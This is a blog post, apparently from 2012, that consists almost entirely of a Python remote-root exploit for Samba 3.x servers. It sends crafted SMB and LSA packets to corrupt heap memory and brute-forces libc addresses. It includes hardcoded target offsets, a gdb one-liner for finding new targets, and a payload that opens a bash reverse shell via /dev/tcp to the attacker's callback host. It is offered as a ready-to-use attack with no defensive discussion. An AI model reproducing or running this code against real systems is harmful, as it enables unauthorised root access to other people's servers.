SAMBA 0DAY Exploit

1. #!/usr/bin/python
2. #
3. # finding targets 4 31337z:
4. # gdb /usr/sbin/smbd `ps auwx | grep smbd | grep -v grep | head -n1 | awk '{ print $2 }'` <<< `echo -e "print system"` | grep '$1'
5. # -> to get system_libc_addr, enter this value in the 'system_libc_offset' value of the target_finder, run, sit back, wait for shell
6. # found by eax samba 0day godz (loljk)
9. from binascii import hexlify, unhexlify
10. import socket
11. import threading
12. import SocketServer
13. import sys
14. import os
15. import time
16. import struct
18. targets = [
19. {
20. "name" : "samba_3.6.3-debian6",
21. "chunk_offset" : 0x9148,
22. "system_libc_offset" : 0xb6d003c0
23. },
24. {
25. "name" : "samba_3.5.11~dfsg-1ubuntu2.1_i386 (oneiric)",
26. "chunk_offset" : 4560,
27. "system_libc_offset" : 0xb20
28. },
29. {
30. "name" : "target_finder (hardcode correct system addr)",
31. "chunk_offset" : 0,
32. "system_libc_offset" : 0xb6d1a3c0,
33. "finder": True
34. }
35. ]
37. do_brute = True
38. rs = 1024
39. FILTER=''.join([(len(repr(chr(x)))==3) and chr(x) or '.' for x in range(256)])
41. def dump(src, length=32):
42. result=[]
43. for i in xrange(0, len(src), length):
44. s = src[i:i+length]
45. hexa = ' '.join(["%02x"%ord(x) for x in s])
46. printable = s.translate(FILTER)
47. result.append("%04x %-*s %s\n" % (i, length*3, hexa, printable))
48. return ''.join(result)
51. sploitshake = [
52. # HELLO
53. "8100004420434b4644454e4543464445" + \
54. "46464346474546464343414341434143" + \
55. "41434143410020454745424644464545" + \
56. "43455046494341434143414341434143" + \
57. "4143414341414100",
59. # NTLM_NEGOT
60. "0000002fff534d427200000000000000" + \
61. "00000000000000000000000000001d14" + \
62. "00000000000c00024e54204c4d20302e" + \
63. "313200",
65. # SESSION_SETUP
66. "0000004bff534d427300000000080000" + \
67. "000000000000000000000000ffff1d14" + \
68. "000000000dff000000ffff02001d1499" + \
69. "1f00000000000000000000010000000e" + \
70. "000000706f736978007079736d6200",
72. # TREE_CONNECT
73. "00000044ff534d427500000000080000" + \
74. "000000000000000000000000ffff1d14" + \
75. "6400000004ff00000000000100190000" + \
76. "5c5c2a534d425345525645525c495043" + \
77. "24003f3f3f3f3f00",
79. # NT_CREATE
80. "00000059ff534d42a200000000180100" + \
81. "00000000000000000000000001001d14" + \
82. "6400000018ff00000000050016000000" + \
83. "000000009f0102000000000000000000" + \
84. "00000000030000000100000040000000" + \
85. "020000000306005c73616d7200"
86. ]
88. pwnsauce = {
89. 'smb_bind': \
90. "00000092ff534d422500000000000100" + \
91. "00000000000000000000000001001d14" + \
92. "6400000010000048000004e0ff000000" + \
93. "0000000000000000004a0048004a0002" + \
94. "002600babe4f005c504950455c000500" + \
95. "0b03100000004800000001000000b810" + \
96. "b8100000000001000000000001007857" + \
97. "34123412cdabef000123456789ab0000" + \
98. "0000045d888aeb1cc9119fe808002b10" + \
99. "486002000000",
101. 'data_chunk': \
102. "000010efff534d422f00000000180000" + \
103. "00000000000000000000000001001d14" + \
104. "640000000eff000000babe00000000ff" + \
105. "0000000800b0100000b0103f00000000" + \
106. "00b0100500000110000000b010000001" + \
107. "0000009810000000000800",
109. 'final_chunk': \
110. "000009a3ff534d422f00000000180000" + \
111. "00000000000000000000000001001d14" + \
112. "640000000eff000000babe00000000ff" + \
113. "00000008006409000064093f00000000" + \
114. "00640905000002100000006409000001" + \
115. "0000004c09000000000800"
116. }
119. def exploit(host, port, cbhost, cbport, target):
120. global sploitshake, pwnsauce
122. chunk_size = 4248
124. target_tcp = (host, port)
126. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
127. s.connect(target_tcp)
129. n = 0
130. for pkt in sploitshake:
131. s.send(unhexlify(pkt))
132. pkt_res = s.recv(rs)
133. n = n+1
135. fid = hexlify(pkt_res[0x2a] + pkt_res[0x2b])
137. s.send(unhexlify(pwnsauce['smb_bind'].replace("babe", fid)))
138. pkt_res = s.recv(rs)
140. buf = "X"*20 # policy handle
141. level = 2 #LSA_POLICY_INFO_AUDIT_EVENTS
142. buf+=struct.pack('<H',level) # level
143. buf+=struct.pack('<H',level)# level2
144. buf+=struct.pack('<L',1)#auditing_mode
145. buf+=struct.pack('<L',1)#ptr
146. buf+=struct.pack('<L',100000) # r->count
147. buf+=struct.pack('<L',20) # array_size
148. buf+=struct.pack('<L',0)
149. buf+=struct.pack('<L',100)
151. buf += ("A" * target['chunk_offset'])
153. buf+=struct.pack("I", 0);
154. buf+=struct.pack("I", target['system_libc_offset']);
155. buf+=struct.pack("I", 0);
156. buf+=struct.pack("I", target['system_libc_offset']);
157. buf+=struct.pack("I", 0xe8150c70);
158. buf+="AAAABBBB"
160. cmd = ";;;;/bin/bash -c '/bin/bash 0</dev/tcp/"+cbhost+"/"+cbport+" 1>&0 2>&0' &\x00"
162. tmp = cmd*(816/len(cmd))
163. tmp += "\x00"*(816-len(tmp))
165. buf+=tmp
166. buf+="A"*(37192-target['chunk_offset'])
167. buf+='z'*(100000 - (28000 + 10000))
169. buf_chunks = [buf[x:x+chunk_size] for x in xrange(0, len(buf), chunk_size)]
170. n=0
172. for chunk in buf_chunks:
173. if len(chunk) != chunk_size:
174. #print "LAST CHUNK #%d" % n
175. bb = unhexlify(pwnsauce['final_chunk'].replace("babe", fid)) + chunk
176. s.send(bb)
177. else:
178. #print "CHUNK #%d" % n
179. bb = unhexlify(pwnsauce['data_chunk'].replace("babe", fid)) + chunk
180. s.send(bb)
181. retbuf = s.recv(rs)
182. n=n+1
184. s.close()
186. class connectback_shell(SocketServer.BaseRequestHandler):
187. def handle(self):
188. global do_brute
190. print "\n[!] connectback shell from %s" % self.client_address[0]
191. do_brute = False
193. s = self.request
195. import termios, tty, select, os
196. old_settings = termios.tcgetattr(0)
197. try:
198. tty.setcbreak(0)
199. c = True
200. while c:
201. for i in select.select([0, s.fileno()], [], [], 0)[0]:
202. c = os.read(i, 1024)
203. if c:
204. if i == 0:
205. os.write(1, c)
207. os.write(s.fileno() if i == 0 else 1, c)
208. except KeyboardInterrupt: pass
209. finally: termios.tcsetattr(0, termios.TCSADRAIN, old_settings)
211. return
214. class ThreadedTCPServer(SocketServer.ThreadingMixIn, SocketServer.TCPServer):
215. pass
218. if len(sys.argv) != 6:
219. print "\n {*} samba 3.x remote root by kd(eax)@ireleaseyourohdayfuckyou {*}\n"
220. print " usage: %s <targethost> <targetport> <myip> <myport> <target>\n" % (sys.argv[0])
221. print " targets:"
222. i = 0
223. for target in targets:
224. print " %02d) %s" % (i, target['name'])
225. i = i+1
227. print ""
228. sys.exit(-1)
231. target = targets[int(sys.argv[5])]
233. server = ThreadedTCPServer((sys.argv[3], int(sys.argv[4])), connectback_shell)
234. server_thread = threading.Thread(target=server.serve_forever)
235. server_thread.daemon = True
236. server_thread.start()
238. while do_brute == True:
239. sys.stdout.write("\r{+} TRYING EIP=\x1b[31m0x%08x\x1b[0m OFFSET=\x1b[32m0x%08x\x1b[0m" %(target['system_libc_offset'], target['chunk_offset']))
240. sys.stdout.flush()
241. exploit(sys.argv[1], int(sys.argv[2]), sys.argv[3], sys.argv[4], target)
243. if "finder" in target:
244. target['chunk_offset'] += 4
245. else:
246. target['system_libc_offset'] += 0x1000
249. if "finder" in target:
250. print \
251. "{!} found \x1b[32mNEW\x1b[0m target: chunk_offset = ~%d, " \
252. "system_libc_offset = 0x%03x" % \
253. (target['chunk_offset'], target['system_libc_offset'] & 0xff000fff)
255. while 1:
256. time.sleep(999)
258. server.shutdown()

Projeto TI

.

SAMBA 0DAY Exploit

Written By x86_g on 2012-09-25 | 4:22 AM

0 comentários:

Postar um comentário

DB